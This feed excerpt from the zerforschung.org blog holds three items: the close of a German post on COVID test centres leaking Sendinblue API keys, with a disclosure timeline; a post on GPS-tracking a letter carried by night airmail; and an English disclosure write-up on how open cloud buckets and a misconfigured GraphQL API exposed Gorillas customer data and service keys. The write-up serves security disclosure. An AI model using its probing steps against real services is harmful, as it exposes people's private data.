Bei keinem der Testzentren war zu erfahren, wer diese Software entwickelt hat. Auch eine &lt;a href=&#34;https://securitytxt.org/&#34;&gt;security.txt&lt;/a&gt; war nicht vorhanden. Deswegen konnten wir uns nicht direkt an die Softwareanbieterin wenden.&lt;/p&gt;
&lt;p&gt;Zwei Tage nachdem wir die Reports versendet haben, wurde die Lücke geschlossen, zuerst nur halbherzig.
Zwar wurden die API-Keys aus den abrufbaren Daten entfernt, allerdings wurden die kompromitierten Keys nicht widerrufen. Damit konnten alle, die die Keys bereits kannten, weiterhin auf die Daten zugreifen.
Diese Zugangsdaten wurden erst einige Tage später deaktiviert, nachdem wir auch Sendinblue über die kompromitierten Keys informierten.
Wir wissen nicht, ob die Betreiber*innen dies selber veranlasst haben oder ob die Keys aufgrund unseres Hinweises an Sendinblue deaktiviert wurden.&lt;/p&gt;
&lt;h2 id=&#34;fazit&#34;&gt;Fazit&lt;/h2&gt;
&lt;p&gt;Das Handeln der Testzentrenbetreibenden ist hier wieder extrem verantwortungslos.
Wer Kund*innen-Daten verarbeitet oder speichert, muss dafür Sorge tragen, dass diese ausreichend geschützt sind.
Das gilt ganz besonders bei Testzentren, die sensible Gesundheitsdaten verwalten.&lt;/p&gt;
&lt;p&gt;Auch in der aktuellen Phase der Pandemie ist es wichtig, sich regelmäßig testen lassen zu können.
Das muss möglich sein, ohne Angst zu haben, dass die eigenen Daten danach offen im Internet zugänglich sind.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://zerforschung.org/posts/flink/&#34;&gt;Und so gilt, wie schon bei Flink:&lt;/a&gt; Wenn das Produkt marktreif genug ist, um Kund*innendaten zu speichern, muss es auch reif genug sein, diese für sich zu behalten.&lt;/p&gt;
&lt;p&gt;Die schlechte Ausrede, dass die Software schnell entwickelt werden musste, zählt nach vielen Monaten Betrieb von Schnelltestzentren erst recht nicht mehr.&lt;/p&gt;
&lt;p&gt;Selbst wenn es keine gravierenden Sicherheitslücken gäbe, muss man sich immer um Datenschutz kümmern.
Das heißt zum Beispiel, Daten nicht länger abrufbar zu speichern als nötig, sie nicht mit Diensten zu teilen, die sie nicht brauchen und bei der Diensteauswahl darauf zu achten, dass dort die Daten DSGVO-konform gespeichert werden.&lt;/p&gt;
&lt;p&gt;Der Landesbeauftragte für Datenschutz und Informationsfreiheit Baden-Württemberg hat vor wenigen Tagen eine &lt;a href=&#34;https://www.baden-wuerttemberg.datenschutz.de/pandemie-bekaempfung-datenschutz-in-testzentren/&#34;&gt;Liste veröffentlicht, was Testzentren-Betreibende beachten müssen&lt;/a&gt; und &lt;a href=&#34;https://www.baden-wuerttemberg.datenschutz.de/testzentren-lfdi-empfiehlt-dringend-sicherheitsvorkehrungen-bei-der-datenverarbeitung-zu-ueberpruefen/&#34;&gt;kommentiert&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Wir müssen gerade in dieser Phase der Pandemie sorgsam mit den personenbezogenen Daten der Bürger_innen umgehen. Es darf keine ‚Nebenwirkung‘ von Corona-Tests sein, dass persönliche und sensible Daten von vielen Menschen irgendwo im Internet landen und für Dritte einsehbar sind.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Wir können uns dem nur anschließen und allen Betreibenden von Testzentren nochmal nahelegen, die vom LfDI BW genannten Punkte erneut zu überprüfen.&lt;/p&gt;
&lt;p&gt;In diesem Fall kommt erschwerend hinzu, dass die als kompromittiert bekannten Zugangsdaten ganze drei Tage lang nicht ungültig gemacht wurden.
Eigentlich ist das mit zwei Klicks über das Webinterface von Sendinblue möglich.
Dass dies nicht schnellstmöglich passierte, bedeutet, dass die Betreiber*innen bewusst in Kauf nahmen, dass weitere Daten abgerufen und unter Umständen missbraucht werden.&lt;/p&gt;
&lt;p&gt;Es ist eine absolute Frechheit, dass hier so sorglos mit solchen hochsensiblen Daten umgegangen wird.
Wir hoffen, dass die Datenschutzbehörden hier ihre Möglichkeiten nutzen und empfindliche Bußgelder gegen die Unternehmen verhängen.&lt;/p&gt;
&lt;h2 id=&#34;disclosure-timeline&#34;&gt;Disclosure Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;2021-05-16: Wir bekommen Hinweis und finden nach kurzer Suche die Sendinblue-API-Keys&lt;/li&gt;
&lt;li&gt;2021-05-17: Reports werden an CERT-Bund und LfDIs versendet; LfDI BaWü kann Lücken nachstellen und leitet, soweit zuständig, die nötigen Maßnahmen in die Wege&lt;/li&gt;
&lt;li&gt;2021-05-19: API-Keys sind nicht mehr über Buchungsseite abrufbar&lt;/li&gt;
&lt;li&gt;2021-05-20: Wir bitten Sendinblue, die Keys zu widerrufen&lt;/li&gt;
&lt;li&gt;2021-05-21: Die API-Keys sind revoked&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Wenn ihr zerforschung unterstützen wollt, findet ihr hier Möglichkeiten: &lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;https://zerforschung.org/unterstuetzen/&lt;/a&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Die Brieftaube ist eine Nachteule</title>
      <link>https://zerforschung.org/posts/kurzstrecken-luftpost/</link>
      <pubDate>Sun, 23 May 2021 17:50:00 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/kurzstrecken-luftpost/</guid>
      <description>&lt;p&gt;Was viele zum Thema Kurzstrecken-Flüge nicht im Blick haben: Innerhalb Deutschlands werden über Nacht immer noch viele Briefe mit dem Flugzeug transportiert. 🧵&lt;/p&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/p/kurzstrecken-luftpost/E17aWNeWEAoFBQ9.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/kurzstrecken-luftpost/E17aWNeWEAoFBQ9.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;hr&gt;
&lt;p&gt;Wir verschicken ja manchmal Post zwischen unseren &amp;ldquo;Standorten&amp;rdquo; und haben uns jetzt mal den Spaß gemacht, den Weg eines Briefs von Ulm nach Berlin zu verfolgen – über die Nachtluftpost-Strecke STR–BER:&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Wir verpacken also in Ulm sorgfältigst einen GPS-Tracker und schicken diesen per Brief nach Berlin.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/kurzstrecken-luftpost/E17bDltWUAgSFqo.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/kurzstrecken-luftpost/E17bDltWUAgSFqo.jpg&#34;
         alt=&#34;GPS-Tracker, Batterie-Halterung und Antenne mit abgerupftem Gaffertape auf eine schief ausgeschnittene Pappe geklebt&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;GPS-Tracker, Batterie-Halterung und Antenne mit abgerupftem Gaffertape auf eine schief ausgeschnittene Pappe geklebt&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Vom Briefkasten aus geht es über eine kleine Postfiliale zum Briefzentrum Neu-Ulm.
Am späten Abend wird unser kleiner Brief dann ganz vorfreudig über die Autobahn zum Flughafen Stuttgart transportiert.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/kurzstrecken-luftpost/E17b0WbWQAkdobH.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/kurzstrecken-luftpost/E17b0WbWQAkdobH.jpg&#34;
         alt=&#34;Im Tweet geschilderter Streckenverlauf des Briefes mit den Messpunkten auf der Karte dargestellt.&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Im Tweet geschilderter Streckenverlauf des Briefes mit den Messpunkten auf der Karte dargestellt.&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Um 23:28 Uhr befindet sich der Brief das erste Mal auf dem Rollfeld. Direkt vor Terminal 4.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/kurzstrecken-luftpost/E17cavDWYAEwJlB.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/kurzstrecken-luftpost/E17cavDWYAEwJlB.jpg&#34;
         alt=&#34;Messpunkt auf der Karte, direkt vor Terminal 4 des Stuttgarter Flughafens. Marker der die Uhrzeit anzeigt.&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Messpunkt auf der Karte, direkt vor Terminal 4 des Stuttgarter Flughafens. Marker der die Uhrzeit anzeigt.&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Wenige Minuten später erscheint auch auf Flightradar24 exakt an dieser Stelle der Flug EW3002/GWI3002 von Stuttgart nach Berlin. ✉️ ➡️ ✈️&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/kurzstrecken-luftpost/E17dINQXMAEKQAC.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/kurzstrecken-luftpost/E17dINQXMAEKQAC.jpg&#34;
         alt=&#34;Screenshot von Flightradar24 - Ein Flugzeug steht am Terminal 4. Eurowingsmaschine, Flug EW3002. Flugzeugalter 14 Jahre.&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Screenshot von Flightradar24 - Ein Flugzeug steht am Terminal 4. Eurowingsmaschine, Flug EW3002. Flugzeugalter 14 Jahre.&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Auch die Koordinaten in der Luft decken sich mit der Flugroute von Flightradar24.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/kurzstrecken-luftpost/E17dwOFWEAAicTD.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/kurzstrecken-luftpost/E17dwOFWEAAicTD.jpg&#34;
         alt=&#34;Geflogene Route basierend auf den GPS-Messpunkten&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Geflogene Route basierend auf den GPS-Messpunkten&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/kurzstrecken-luftpost/E17d4hLWYAESD5l.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/kurzstrecken-luftpost/E17d4hLWYAESD5l.jpg&#34;
         alt=&#34;Geflogene Route laut Flightradar24 - beide Routen sind beinahe deckungsgleich&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Geflogene Route laut Flightradar24 - beide Routen sind beinahe deckungsgleich&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;In der Nähe von Jena begegnen wir dem Flug GWI3001 in die Gegenrichtung: Der Postflug von Berlin nach Stuttgart.&lt;/p&gt;
&lt;p&gt;*Busfahrer*innen-Gruß*&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/kurzstrecken-luftpost/E17ecqvWYAMoj8G.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/kurzstrecken-luftpost/E17ecqvWYAMoj8G.jpg&#34;
         alt=&#34;Screenshot von ADSB-Exchange - 2 Flugzeuge nebeneinander, in entgegen gesetzte Richtungen fliegend über Jena&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Screenshot von ADSB-Exchange - 2 Flugzeuge nebeneinander, in entgegen gesetzte Richtungen fliegend über Jena&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Da es sich übrigens um normale Passagierflugzeuge handelt und diese bei Eurowings mit WLAN ausgestattet sind, ist es auch möglich z.B. mit ESPs im Flug aus Briefen heraus Sensordaten zu versenden. 😇&lt;/p&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/p/kurzstrecken-luftpost/E17ftLcWQAwYjo-.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/kurzstrecken-luftpost/E17ftLcWQAwYjo-.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;hr&gt;
&lt;p&gt;Am BER gilt zwar ab 23:30 ein Nachtflugverbot, für Luftpostverkehr gibt es hier aber Ausnahmen. Und so erreicht unser Brief gegen 01:15 den Hauptstadtflughafen. 🛬 🐻&lt;/p&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/p/kurzstrecken-luftpost/E17gU03WQAYTmQm.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/kurzstrecken-luftpost/E17gU03WQAYTmQm.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;hr&gt;
&lt;p&gt;Noch ein paar Fakten zur Nachtluftpost und Bilder vom Beladen der Maschinen haben wir hier gefunden: &lt;a href=&#34;https://www.flugblatt-magazin.de/stories/nachtluftpost-am-airport-geht-die-post-ab/&#34;&gt;https://www.flugblatt-magazin.de/stories/nachtluftpost-am-airport-geht-die-post-ab/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Der Wikipedia-Artikel wirkt leider eher veraltet: &lt;a href=&#34;https://de.wikipedia.org/wiki/Nachtluftpost&#34;&gt;https://de.wikipedia.org/wiki/Nachtluftpost&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Da Fragen zu den Akkus kamen: Wir haben uns natürlich vorher angeschaut, was wir in einem Brief versenden dürfen. Zu gefährlichen Stoffen und Gegenständen, die vom Versand ausgeschlossen sind, zählen z.B. Lithium-Akkus und Durians. Deswegen benutzten wir AA-Alkaline Batterien.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/kurzstrecken-luftpost/E17uO7AWEAIPr0q.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/kurzstrecken-luftpost/E17uO7AWEAIPr0q.jpg&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Wenn euch gefällt was wir machen und ihr zerforschung unterstützen wollt, findet ihr hier Möglichkeiten: &lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;https://zerforschung.org/unterstuetzen/&lt;/a&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Gorillas: Special offer - unicorn slices, 150g 🦍❤️</title>
      <link>https://zerforschung.org/posts/gorillas-en/</link>
      <pubDate>Mon, 10 May 2021 22:00:00 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/gorillas-en/</guid>
      <description>&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/gorillas/gorillas-daten.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/gorillas/gorillas-daten.jpg&#34;
         alt=&#34;Gorillas Advertising with the slogan &amp;#39;Just going check gorillas one more time, then I will put the phone away... oh nice, cinnamon buns&amp;#39; but &amp;#39;cinnamon buns&amp;#39; is replaced with &amp;#39;data&amp;#39;&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;We felt more like &amp;ldquo;Oh fuck, Databreach&amp;rdquo;&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;a href=&#34;https://zerforschung.org/posts/gorillas/&#34;&gt;Dieser Artikel ist auch auf deutsch erschienen.&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;During the pandemic, grocery delivery services gained popularity.
New players on the market offer delivery in under an hour.
One of them is Gorillas, which not only delivers apples and granola bars in 10 minutes, but just as quickly delivered the data of all its customers.&lt;/p&gt;
&lt;p&gt;How could this happen? Unfortunately, it was once again much too simple. But let&amp;rsquo;s start at the beginning:&lt;/p&gt;
&lt;p&gt;Gorillas currently is the largest of these services in Germany.
On large billbords they promise delivery times of under 10 minutes.
Orders are picked in decentralized depots and delivered by riders on bicycles.&lt;/p&gt;
&lt;p&gt;A few weeks ago, we already stumbled across &lt;a href=&#34;https://zerforschung.org/posts/flink/&#34;&gt;a security vulnerability in the software of their competitor &amp;lsquo;flink&amp;rsquo;&lt;/a&gt;.
Gorillas has experienced extreme growth in recent weeks and also &lt;a href=&#34;https://techcrunch.com/2021/03/25/gorillacorn/&#34;&gt;raised another absurd 290 million US dollars in venture capital&lt;/a&gt;&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; - a good reason for us to give their service a try.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Gorillas is active in over 15 cities in 4 countries (DE, NL, UK, FR) and plans to expand to over 50 cities soon, including the USA.
We found out about this through job ads, which are always an &lt;a href=&#34;https://radforschung.org/log/roller-in-die-staedte/&#34;&gt;interesting research approach&lt;/a&gt;.
&lt;/div&gt;
&lt;p&gt;For us it&amp;rsquo;s almost a routine step: with every new app we install we take a quick look at its data traffic with a mitmproxy&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;.
At first glance, we notice that Gorillas loads data from two different Google Cloud Storage buckets: &lt;code&gt;eddress&lt;/code&gt; and &lt;code&gt;gorillas-public&lt;/code&gt;.
Buckets is simply a fancy name for folders in cloud storage services - here these are used to store and deliver product images and advertising banners to the app.&lt;/p&gt;
&lt;p&gt;You don&amp;rsquo;t always want a list of all the files that are in a cloud bucket to be publicly available, for example when business data is involved.
That&amp;rsquo;s why most cloud services disable the public listing of files by default.
That way you can access the files - but only if you know the exact link.&lt;/p&gt;
&lt;p&gt;Well, in this case, we were able to see a list of all the files, and thus access the individual files themselves.
We had access to many, many photos of all the products Gorillas offers.
Knowing the links to all product images would not necessarily be a problem, but unfortunately, it didn&amp;rsquo;t stop there:&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/gorillas/bucket.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/gorillas/bucket.png&#34;
         alt=&#34;Screenshot of the XML response listing all the files contained in the bucket.&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;In the &lt;code&gt;gorillas&lt;/code&gt; cloud bucket, we also found photos of things we didn&amp;rsquo;t expect to see there: front doors and doorbell signs.
Are these product images, too?
Has the delivery service discovered another market niche and entered the hardware store business?
Probably not: these files were definitely not intended for the public.
Strictly speaking, not even for Gorillas.&lt;/p&gt;
&lt;p&gt;The photographed front doors and doorbell plates come from drivers who seem to sometimes need to take such photos when delivering an order.
Not only is this part missing in the privacy policy&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;, but it&amp;rsquo;s also just creepy&lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;As we now find voice memos, invoices and database backups in the bucket &lt;code&gt;eddress&lt;/code&gt;, it becomes clear that this cannot be intentional.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/gorillas/lindenstrasse.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/gorillas/lindenstrasse.png&#34;
         alt=&#34;Doorbell place at the TV-Set of  Lindenstraße&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Symbolbild (image: &lt;a href=&#34;https://commons.wikimedia.org/wiki/File:Klingelschild_Lindenstra%C3%9Fe.jpg&#34;&gt;Jedesto&lt;/a&gt;, &lt;a href=&#34;https://creativecommons.org/licenses/by-sa/4.0&#34;&gt;CC BY-SA 4.0&lt;/a&gt;, via Wikimedia Commons)&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h3 id=&#34;what-the-hell-is-eddress&#34;&gt;What the hell is eddress?&lt;/h3&gt;
&lt;p&gt;The name &amp;ldquo;eddress&amp;rdquo; appears in many places.
Not only in the bucket name, but also in the app identifier, so it seems relevant.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/gorillas/app-identifier.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/gorillas/app-identifier.png&#34;
         alt=&#34;Screenshot of the URL bar of the link to the Gorillas app which contains com.eddress.getgoodys as the app identifier&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;After a brief investigation, it turns out:
&lt;a href=&#34;https://www.eddress.co&#34;&gt;Eddress&lt;/a&gt; is a company based in Pakistan and Lebanon that offers white-label courier software - software that is purposefully kept neutral, which individual delivery services can then design to fit their own business.
Eddress itself also operates a delivery service, much like Gorillas, called &lt;a href=&#34;https://noknok.co&#34;&gt;noknok&lt;/a&gt; in Lebanon.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/gorillas/gorillas-noknok.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/gorillas/gorillas-noknok.png&#34;
         alt=&#34;Screenshots of the apps from gorillas and noknok side by side, differing almost exclusively in colour.&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;There are 20 differences between these images, can you spot them all?&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;The apps from noknok and Gorillas look almost identical.
This suggests that Gorillas bought their software entirely from eddress.
Also, it turns out that the CEO of eddress has now become the CTO of Gorillas.
So the two companies are indeed closely intertwined.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/gorillas/gorillas-eddress.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/gorillas/gorillas-eddress.png&#34;
         alt=&#34;The logos of eddress and Gorillas, with the handshake emoji in between.&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;h2 id=&#34;add-another-200g-of-api-keys&#34;&gt;Add another 200g of API keys?&lt;/h2&gt;
&lt;p&gt;After knowing that the Gorillas system was built by eddress, we wanted to learn more about this collaboration.
Our search engine of choice didn&amp;rsquo;t find any articles on the subject, but it did take us to an admin portal for Gorillas/eddress: &lt;a href=&#34;https://portal.gorillas.io&#34;&gt;portal.gorillas.io&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Here we are greeted by a login screen to which we have no credentials.
But a quick look into the browser tools shows:
The JavaScript for the portal is loaded before the login.
That allows us a look into the source code.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;&lt;strong&gt;Why is that?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The admin portal of Gorillas is a so-called &lt;a href=&#34;https://en.wikipedia.org/wiki/Single-page_application&#34;&gt;single-page Application&lt;/a&gt;.
This means that the page consists of only one HTML file and all content is loaded dynamically.
The entire JavaScript code of the application is also delivered right from the start.&lt;/p&gt;
&lt;p&gt;This is not a security problem per se, but it sometimes allows exciting insights into the infrastructure and features of a web app that was previously inaccessible due to a lack of login or permissions.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Looking at the code, these lines caught our eye:&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/gorillas/sourcecode.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/gorillas/sourcecode.png&#34;
         alt=&#34;Screenshot of a piece of JavaScript code. In it, there&amp;#39;s a line hightlighted with a URL that says &amp;#39;graphql&amp;#39;.&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Having had previous experience with GraphQL interfaces in the delivery service &lt;a href=&#34;https://zerforschung.org/posts/flink/&#34;&gt;Flink&lt;/a&gt;, we immediately entered the URL into a GraphQL client of our choice.&lt;/p&gt;
&lt;p&gt;GraphQL is a language for data queries.
That means you can describe what information you would like to have from the server and in what format.
For example, at Flink, we could tell the server, &amp;ldquo;Give us the last 10 orders, who placed them, and what was ordered.&amp;rdquo;
The server on the other side should be configured not to handle all requests equally, but to only give out certain information to authorized users.
With Flink, this was configured incorrectly - and with Gorillas?&lt;/p&gt;
&lt;p&gt;To find out, we used a really cool function of GraphQL: &lt;a href=&#34;https://graphql.org/learn/introspection/&#34;&gt;Introspection&lt;/a&gt;.
Introspection provides a method to find out what information can be retrieved and how.
Most GraphQL clients automatically create documentation of the API from this:&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/gorillas/graphql-doku.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/gorillas/graphql-doku.png&#34;
         alt=&#34;Screenshot of an automatically generated doc for the &amp;#39;activeOrders&amp;#39;, &amp;#39;ordersData&amp;#39; and &amp;#39;tenantConfig&amp;#39; endpoints.&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;The two queries for orders need credentials, that&amp;rsquo;s why we only get the following error message:&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/gorillas/access-denied.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/gorillas/access-denied.png&#34;
         alt=&#34;Screenshot of a GraphQL error message that we are not authorized to call `activeOrders`.&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;The &lt;code&gt;tenantConfig&lt;/code&gt; however can be accessed without any restrictions.
And the information delivered there is quite interesting: API keys and URLs for various services that are apparently used by the Gorillas/eddress infrastructure.
Among them we found API keys for Sendgrid and Slack webhook URLs.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/gorillas/tenant-config.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/gorillas/tenant-config.png&#34;
         alt=&#34;GraphQL API Response, the data shows objects like &amp;#39;emailConfig&amp;#39; with apiKey, sender email address and &amp;#39;slackConfig&amp;#39;&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;With the Slack URLs, we could post messages to specific Gorillas Slack channels: &amp;ldquo;&lt;em&gt;No work today!&lt;/em&gt;&amp;rdquo;&lt;/p&gt;
&lt;p&gt;Much more relevant, however, are the Sendgrid API keys.
&lt;a href=&#34;https://sendgrid.com&#34;&gt;Sendgrid&lt;/a&gt; is a so-called transactional email provider.
In recent years it has become increasingly difficult to send emails with your own infrastructure in a way where they end up in the receivers inbox and don&amp;rsquo;t immediately get caught by spam filters.
So instead of taking care of sending e-mails themselves, more and more providers turn to services like Sendgrid, &lt;a href=&#34;https://www.mailjet.com/&#34;&gt;Mailjet&lt;/a&gt; or &lt;a href=&#34;https://aws.amazon.com/ses/&#34;&gt;Amazon SES&lt;/a&gt;, which send out the e-mails for them.&lt;/p&gt;
&lt;p&gt;So with the Sendgrid API key, we could send emails on behalf of Gorillas: &amp;ldquo;&lt;em&gt;Hey investors, we&amp;rsquo;ve run out of money again&lt;/em&gt;&amp;rdquo;&lt;/p&gt;
&lt;p&gt;This problem doesn&amp;rsquo;t only affect Gorillas, but also other services that use eddress&amp;rsquo; software. Among them are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.oyanow.ng&#34;&gt;oyanow&lt;/a&gt;, Nigeria&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://noknok.co&#34;&gt;noknok&lt;/a&gt;, Lebanon&lt;/li&gt;
&lt;li&gt;LibanPost (the national post office of Lebanon).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This would allow attackers to send authentic-looking emails on behalf of Gorillas or other eddress clients.&lt;/p&gt;
&lt;p&gt;Sendgrid allows a very detailed configuration of which API key is allowed to do what.
However, the API keys in question have an extremely large number of permissions:
The API key of Gorillas for 100 of these so-called &amp;ldquo;scopes&amp;rdquo;, the one of Liban Post for more than 200.
In addition to sending e-mails, this also includes the authorization to create new API keys.
An attacker could thus create a new API key relatively unnoticed - and continue to use it even if the leaked API key is revoked.&lt;/p&gt;
&lt;h2 id=&#34;would-you-like-to-have-some-more-data&#34;&gt;Would you like to have some more data?&lt;/h2&gt;
&lt;p&gt;We had just finished writing the report for the problems described so far when an idea came to us:
To access the queries for orders you need an access token.
When you log into the app you get a token of this type.
So, expecting that it would allow us to query our own data, we took our access identifier from the app and entered it into our GraphQL client.
And sure enough, we got data.
Not just ours, but all of it.&lt;/p&gt;
&lt;p&gt;In total, we were able to retrieve data on over 1,000,000 orders, the associated 200,000 customers, and workers.&lt;/p&gt;
&lt;p&gt;This includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Names, addresses, email addresses and phone numbers of customers&lt;/li&gt;
&lt;li&gt;Order details (products ordered, quantity, price, etc.)&lt;/li&gt;
&lt;li&gt;In the case of credit card payment: the expiration date of the credit card&lt;/li&gt;
&lt;li&gt;References to photos of the front door/bell plate, if available&lt;/li&gt;
&lt;li&gt;Name and phone number of &amp;ldquo;activeWorker&amp;rdquo;, presumably drivers or pickers.&lt;/li&gt;
&lt;/ul&gt;
